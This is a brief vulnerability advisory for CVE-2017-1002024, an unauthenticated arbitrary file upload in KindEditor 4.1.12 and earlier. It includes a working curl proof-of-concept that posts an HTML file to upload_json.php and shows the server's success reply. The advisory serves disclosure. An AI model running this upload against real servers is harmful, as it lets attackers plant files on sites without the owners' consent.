File upload vulnerability in Kindeditor <= 4.1.12
Arbitrary file upload
CVE ID(s):
CVE-2017-1002024
Summary: kindeditor/php/upload_json.php does not check authentication before allow users to upload files.
Notified: 2017-06-15
Description:
KindEditor is a lightweight, Open Source(LGPL), cross browser, web based WYSIWYG HTML editor. KindEditor has the ability to convert standard text areas to rich text editing.
Exploit:
A simple curl request to kindeditor/php/upload_json.php?dir=file with the data filename=test.html set via POST request is all that's require to exploit this vulnerability:
$ curl -F "imgFile=@test.html" http://example.com/kindeditor/php/upload_json.php?dir=file
{"error":0,"url":"/kindeditor/php/../attached/file/20170613/20170613203236_37481.html"}